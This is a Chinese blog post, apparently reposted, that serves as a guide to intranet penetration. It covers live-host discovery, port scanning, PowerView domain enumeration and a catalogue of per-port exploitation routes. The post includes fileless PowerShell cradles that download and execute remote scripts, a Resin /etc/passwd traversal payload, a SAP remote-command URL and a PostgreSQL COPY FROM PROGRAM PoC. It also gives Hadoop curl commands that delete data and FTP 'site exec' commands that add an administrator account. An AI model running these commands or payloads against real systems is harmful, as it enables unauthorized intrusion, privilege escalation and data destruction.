您的位置:首页 > 运维架构 > Shell

探测域内存活主机和端口扫描

2020-07-24 00:14 1276 查看

行业解决方案、产品招募中!想赚钱就来传!>>>

内网存活主机探测是内网渗透测试中不可或缺的一个环节.可以在白天夜晚分别进行探测,对比分析存活主机和对应IP地址。将网络地址改为“0.0.0.0/24”可对所有存活主机进行猜解,不过仅限于网络情况完全处于与互联网隔绝状态。扫描时间较长。

1:利用NetBIOS快速探测内网:

NetBIOS是局域网使用的一种API,为程序提供了请求低级别服务的统一命令集。为局域网提供了网络及其他特殊功能,同时也是计算机的标识名,主要用于局域网中的计算机互访。因为几乎所有的局域网都是再NetBIOS协议的基础上的,

NetBIOS的工作流程就是正常机器名的应答过程。我们可以优先使用。

nbtscan工具可以扫描本地或远程TCP/IP网络上开放的NetBOIS名称服务。从而达到识别存活主机的目的。

netscan有linux和windows两个版本,使用简单,体积小,不要安装特殊的库和DLL。

把netscan上传到目标主机中。直接运行可以查看参数



然后输入IP地址范围就行。



2:利用ICMP协议快速探测内网存活主机:(贼慢)

原理:逐次对内网中的每个IP地址进行ping命令,从而探测存活主机,例如使用如下命令循环探测整个C段:

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=”


使用vbs脚本,使用的时候要修改IP。输出路径为C:\Windows\Temp\Result.txt

strSubNet = "1.1.1."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine "Ping " & strComputer & " success!"
End If
Next

objTS.Close
WScript.Echo "Done!"
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function

3 通过ARP扫描探测内网


arp工具-arpscan。将ARP数据包发送到本地网络上的所有主机,并显示收到的所有响应。

直接把arpscan上传到目标机器运行,可以自定义掩码,指定扫描范围等等。


Empire中arpscan模块也能实现收集活跃主机的IP地址和MAC地址信息等:


empire中输入usemodule situational_awareness/network/arpscan
Set Range ip地址范围
Execute




 Nishang 中的Invoke-ARPScan.ps1脚本实现:

把脚本上传到目标机器中运行,也可以远程加载脚本,可以自定义掩码,指定扫描范围等等。输出路径为C:\windows\temp\log.txt:


本地运行powershell.exe -exec bypass -Command “& {Import-Module C:\Users\17254\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}” >> C:\windows\temp\log.txt:
远程运行powershell.exe -exec bypass -c "IEX{New-Object Net.WebClient}.DownloadString(‘脚本地址’);invoke-ARPScan-CIDR 192.168.1.1/24">>C:\windows\temp\log.txt:
无文件运行powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.184.131/PowerSploit-master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 1.1.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"


4.通过常规TCP/UDP端口进行扫描探测:

ScanLine工具,支持TCP/UDP端口扫描,可以在所有的Windows中使用,体积小,命令如下:

scanline.exe -h -t 22,80,8080,3389,3306 -u 53,161,137,139 -o c:\windows\temp\log1.txt -p 192.168.1.100-192.168.1.107



域内端口扫描 

通过扫描端口信息,可以了解目标主机所开放的服务,找出其开放服务的漏洞,分析目标网络的拓扑结构等等

端口的banner信息
端口上运行的服务
常见应用的默认端口

 扫描注意是否触发IDS 。在进行内网渗测试时,通常会使用 Metasploit /cs内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。当然,还可以根据服务器的环境,使用自定义的端口扫描脚本。在有授 权的情况下,可以直接使用 Nmap、masscan 等端口扫描工具直接获取开放的端口信息。


1.使用telnet协议进行扫描,要想知道某个主机的某个高危端口是否开放(3389 22等)情况,使用telnet是最方便快捷的。

telnet协议是tcp/ip协议中的一种,是internet远程登录服务使用的标准协议和主要方式,在目标计算机上使用telnet协议,可以与目标服务器建立连接。


2.Metasploit进行端口扫描

运行MSF 输入search portscan 使用模块:auxiliary/scaner/portscan/tcp也能达到主机探测和端口扫描的效果

3.Nishang的Invoke-PosrScan模块:

可以实现端口扫描,主机发现,解析主机名,扫描端口等

Invoke-PortScan参数如下:


StartAddress :开始扫描的地址
EndAddress:结束的扫描地址
ScanPort:进行扫描的端口
Port: 指定扫描端口,默认的有:21,22,23,53,69,80,443…


4.Powersploit的invoke-portscan.ps1脚本

powersploit是基于powershell的渗透工具包,里面都是powershell的脚本工具文件。

脚本地址:https://github.com/PowerShellMafia/PowerSploit/

Invoke-Portscan -Hosts <String[]> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>]
[-TopPorts <String>] [-ExcludedPorts <String>] [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>]
[-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] [-T <Int32>]
[-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter]
[-quiet] [-ForceOverwrite]

在这里我们推荐无文件的形式进行扫描。

powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,80,8080,3389' -oA c:\ProgramData\ip_info"

扫描的ip范围和端口范围可自行增减,执行后结果将保存在c:\ProgramData\ip_info.xml文件中


4.Powersploit的PowerView.ps1脚本


powerView.ps1是一款依赖powershell和wmi对内网进行查询的常用渗透测试脚本,集成在powersploit工具包中;是一个收集域信息很好用的脚本。

Import-Module为powershell导入脚本命令,这里假设我们下载的powerview.ps1脚本在C:\PowerView.ps1



命令格式:powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1; powerview的命令参数}"



 域中定位域管理员:
     powerview的Invoke-UserHunter命令,在使用时不需要管理员权限;



命令:powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1; Invoke-UserHunter}"


更多PowerView命令参数:



Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机器的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有网络共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程连接
Get-NetProcess: 获取远程主机的进程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取活动目录的对象
Get-NetGPO: 获取域内所有的组策略对象
Get-DomainPolicy: 获取域默认策略或域控制器策略
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。

这两个脚本都还蛮好用的,收集信息很快,最关键的是基于powershell的。



端口的Banner信息

通过扫描后发现了端口后,我们可以使用客户端连接工具或者nc来获取服务端的端口Banner信息。然后可以到漏洞库中查找对应的CVE编号的POC,EXP来利用。

1. 端口分类

端口范围 0 – 65535

TCP端口和UDP端口。由于TCP和UDP协议相互独立,因此各自的端口号也相互独立,比如tcp可以有234端口,udp也可以起234端口,互相之间不会冲突。


2.使用nmap获取端口Banner(最为灵活强大)

nmap   IP地址  --script banner  -p 端口号

也可以添加脚本进行CVE漏洞扫描

nmap   IP地址  --script=vuln  -p 端口号

vulscan:下载地址:https://github.com/scipag/vulscan

在nmap目录下“git clonehttps://github.com/scipag/vulscan.git”

vulscan是利用本地的配置文件来检索CVE漏洞信息

查看本地的配置文件

可以用vulscan/utilities/updater/目录下的updateFiles.sh对配置数据进行更新
cd vulscan/utilities/updater/
chmod +x updateFiles.sh
./updateFiles.sh

检测目标主机

nmap --script=vulscan -sV 192.168.220.154
要加上-sV参数
vulscan也可以查询指定的数据配置文件
nmap --script=vulscan --script-args vulscandb=scipvuldb.csv -sV192.168.220.154


1、远程管理端口

22 端口(SSH)

安全攻击:弱口令、暴力猜解、用户名枚举利用方式:1、通过用户名枚举可以判断某个用户名是否存在于目标主机中,2、利用弱口令/暴力破解,获取目标主机权限。

23 端口(Telnet)

安全漏洞:弱口令、明文传输利用方式:1、通过弱口令或暴力破解,获取目标主机权限。2、嗅探抓取telnet明文账户密码。

3389 端口(RDP)

安全漏洞:暴力破解利用方式:通过弱口令或暴力破解,获取目标主机权限。

5632 端口(Pcanywhere)

安全漏洞:弱口令、暴力破解利用方式:通过弱口令或暴力破解,获取目标主机权限

5900 端口(VNC)

安全漏洞:弱口令、暴力破解利用方式:通过弱口令或暴力破解,获取目标主机权限。

2、Web中间件/服务端口

1090/1099 端口(RMI)

安全漏洞:JAVA RMI 反序列化远程命令执行漏洞利用方式:使用nmap检测端口信息。端口信息:1099/1090    Java-rmi    Java RMI Registry检测工具:attackRMI.jar

7001 端口(Weblogic

安全漏洞:弱口令、SSRF、反序列化漏洞利用方式:1、控制台弱口令上传war木马2、SSRF内网探测3、反序列化远程代码执行等

8000 端口(jdwp)

安全漏洞:JDWP 远程命令执行漏洞端口信息:8000 jdwp java Debug Wire Protocol检测工具:https://github.com/IOActive/jdwp-shellifier

8080 端口(Tomcat)

安全漏洞:弱口令、示例目录利用方式:通过弱口令登录控制台,上传war包。

8080 端口(Jboss)

安全漏洞:未授权访问、反序列化。利用方式:1、未授权访问控制台,远程部署木马2、反序列化导致远程命令执行等。检测工具:https://github.com/joaomatosf/jexboss

8080 端口(Resin)

安全漏洞:目录遍历、远程文件读取利用方式:通过目录遍历/远程文件读取获取敏感信息,为进一步攻击提供必要的信息。
任意文件读取POC:payload1 = "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"payload2 = "/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd"payload3 = "/ ..\\\\web-inf"

8080 端口(Jetty)

安全漏洞:远程共享缓冲区泄漏利用方式:攻击者可以通过精心构造headers值来触发异常并偏移到共享缓冲区,其中包含了之前其他用户提交的请求,服务器会根据攻击者的payload返回特定位置的数据。
检测工具:https://github.com/GDSSecurity/Jetleak-Testing-Script

8080 端口(GlassFish)

安全漏洞:弱口令、任意文件读取利用方式:1、弱口令admin/admin,直接部署shell2、任意文件读取获取服务器敏感配置信息

8080 端口(Jenkins)

安全漏洞:未授权访问 、远程代码执行利用方式:访问如下url,可以执行脚本命令,反弹shell,写入webshell等。http://<target>:8080/managehttp://<target>:8080/script

8161 端口(ActiveMQ)

安全漏洞:弱口令、任意文件写入、反序列化利用方式:默认密码admin/admin登陆控制台、写入webshell、上传ssh key等方式。

9043 端口(webSphere)

安全漏洞:控制台弱口令、远程代码执行后台地址:https://:9043/ibm/console/logon.jsp

50000 端口 (SAP)


安全漏洞:远程代码执行利用方式:攻击者通过构造url请求,实现远程代码执行。
POC:http://<target>:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd.exe /c ipconfig /all

50070 端口(hadoop)


安全漏洞:未授权访问利用方式:攻击者可以通过命令行操作多个目录下的数据,如进行删除操作。
curl -i -X DELETE “http://ip:50070/webhdfs/v1/tmp?op=DELETE&recursive=true“curl -i -X PUT “http://ip:50070/webhdfs/v1/NODATA4U_SECUREYOURSHIT?op=MKDIRS“

3、数据库端口

389 端口(ldap)

安全漏洞:未授权访问 、弱口令利用方式:通过LdapBrowser工具直接连入。

1433 端口(Mssql)

安全漏洞:弱口令、暴力破解利用方式:差异备份getshell、SA账户提权等

1521 端口(Oracle)


安全漏洞:弱口令、暴力破解利用方式:通过弱口令/暴力破解进行入侵。

3306 端口(MySQL)


安全漏洞:弱口令、暴力破解利用方式:利用日志写入webshell、udf提权、mof提权等。

5432 端口( PostgreSQL)


安全漏洞:弱口令、高权限命令执行利用方式:攻击者通过弱口令获取账号信息,连入postgres中,可执行系统命令。。
PoC参考:DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;

5984 端口(CouchDB)

安全漏洞:垂直权限绕过、任意命令执行利用方式:通过构造数据创建管理员用户,使用管理员用户登录,构造恶意请求触发任意命令执行。后台访问:http://<target>:5984/_utils

6379 端口(Redis)

安全漏洞:未授权访问利用方式:绝对路径写webshell 、利用计划任务执行命令反弹shell、公私钥认证获取root权限、主从复制RCE等。

9200 端口(elasticsearch)

安全漏洞:未授权访问、命令执行检测方式:1、直接访问如下url,获取相关敏感信息。http://<target>:9200/_nodes  查看节点数据  http://<target>:9200/_river  查看数据库敏感信息2、通过构造特定的数据包,执行任意命令。

11211 端口(MemCache)

安全漏洞:未授权访问检测方式:无需用户名密码,可以直接连接memcache 服务的11211端口。nc -vv <target> 11211

27017 端口(Mongodb)

安全漏洞:未授权访问、弱口令利用方式:未授权访问/弱口令,远程连入数据库,导致敏感信息泄露。

4、常见协议端口

21 端口(FTP)

安全漏洞:1、配置不当    2、明文传输    3、第三方软件提权
利用方式:1、匿名登录或弱口令2、嗅探ftp用户名和密码3、Serv-U权限较大的账号可导致系统命令执行。FTP提权命令:
# 增加系统用户 Quote site exec net user 4567 4567 /add # 提升到管理员权限 Quote site exec net localgroup administrators 4567 /add

25 端口(SMTP)

攻击方式:1、匿名发送邮件 2、弱口令 3、SMTP用户枚举
利用方式:1、SMTP服务器配置不当,攻击者可以使用任意用户发送邮件。2、SMTP弱口令扫描,获取用户账号密码,发送邮件钓鱼。3、通过SMTP用户枚举获取用户名:nmap -p 25 -- smtp-enum-users.nse <target>

53 端口(DNS)

安全攻击:1、DNS域传送漏洞、DNS欺骗、DNS缓存投毒
检测方式:1、DNS域传送漏洞,Windows下检测使用nslookup命令,Linux下检测使用dig命令,通过执行命令可以清楚的看到域名解析情况。2、DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。3、DNS缓存投毒是攻击者欺骗DNS服务器相信伪造的DNS响应的真实性。

161 端口(SNMP)

安全漏洞:默认团体名/弱口令访问利用方式:通过nmap自带的审计脚本进行检测,可能导致敏感信息泄露。。
1、弱口令检测:nmap –sU –p161 –script=snmp-brute <target>
2、获取系统信息:nmap –sU –p161 –script=snmp-sysdescr <target>
3、获取用户信息:nmap -sU -p161 --script=snmp-win32-user <target>4、获取网络端口状态:nmap -sU -p161 --script=snmp-netstat <target>

443 端口(SSL)

安全漏洞:OpenSSL 心脏出血
利用方式:攻击者可以远程读取存在漏洞版本的openssl服务器内存中长大64K的数据。扫描脚本:nmap -sV --script=ssl-heartbleed <target>

445 端口(SMB)

安全漏洞:信息泄露、远程代码执行利用方式:可利用共享获取敏感信息、缓冲区溢出导致远程代码执行,如ms17010。

873 端口(Rsync)

安全漏洞:匿名访问、弱口令
利用方式:攻击者可以执行下载/上传等操作,也可以尝试上传webshell。1、下载:#rsync -avz a.b.c.d::path/file path/filiname 2、上传:#rsync -avz path/filename a.b.c.d::path/file

2181 端口(Zookeeper)

安全漏洞:未授权访问
检测方式:攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。echo envi | nc ip port

2375 端口(Docker

安全漏洞:未授权方式
检测方式:通过docker daemon api 执行docker命令。#列出容器信息,效果与docker ps -a 一致。curl http://<target>:2375/containers/json docker -H tcp://<target>:2375 start <Container Id>

端口部分内容来自:微信公众号bypass

by:李木

本文分享自微信公众号 - 黑白天(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息